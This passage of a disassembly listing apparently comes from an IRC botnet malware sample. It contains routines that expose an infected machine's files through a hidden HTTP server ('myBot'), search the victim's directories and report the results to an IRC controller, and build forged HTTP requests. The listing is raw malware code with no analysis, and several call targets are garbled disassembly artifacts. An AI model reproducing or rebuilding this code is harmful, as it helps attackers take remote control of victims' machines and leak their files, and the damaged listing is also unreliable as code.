		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A0 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2690400h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 27009E9h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730BA4h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2660868h
		nop


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2680646h
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25E0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27503D7h
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 27408DAh
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		nop
		call	near ptr 2680646h


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27503D7h
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 27009E9h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		nop
		call	near ptr 2730BA4h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 2660868h


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
